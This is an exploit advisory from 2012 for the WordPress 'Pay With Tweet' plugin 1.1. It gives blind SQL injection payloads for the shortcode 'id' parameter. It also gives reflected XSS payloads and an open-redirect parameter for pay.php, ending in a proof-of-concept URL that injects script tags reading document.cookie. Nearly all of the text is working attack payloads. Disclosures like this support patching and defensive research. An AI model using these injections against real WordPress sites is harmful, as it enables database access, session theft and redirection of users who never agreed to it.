# Exploit Title: Wordpress Pay With Tweet plugin <= 1.1 Multiple Vulnerabilities
# Date: 01/06/2012
# Author: Gianluca Brindisi (gATbrindi.si @gbrindisi http://brindi.si/g/)
# Software Link: http://downloads.wordpress.org/plugin/pay-with-tweet.1.1.zip
# Version: 1.1
1) Blind SQL Injection in shortcode:
Short code parameter 'id' is prone to blind sqli,
you need to be able to write a post/page to exploit this:
[paywithtweet id="1' AND 1=2"]
[paywithtweet id="1' AND 1=1"]
2) Multiple XSS in pay.php
http://target.com/wp-content/plugins/pay-with-tweet.php/pay.php
After connecting to twitter:
?link=&22></input>[XSS]
After submitting the tweet:
?title=[XSS]&dl=[REDIRECT-TO-URL]%27)">[XSS]
The final download link will be replaced with [REDIRECT-TO-URL]
POC: pay.php?link=%22></input><script>alert(document.cookie)</script>&title=<script>alert(document.cookie)</script>&dl=http://brindi.si%27"><script>alert(document.cookie)</script>
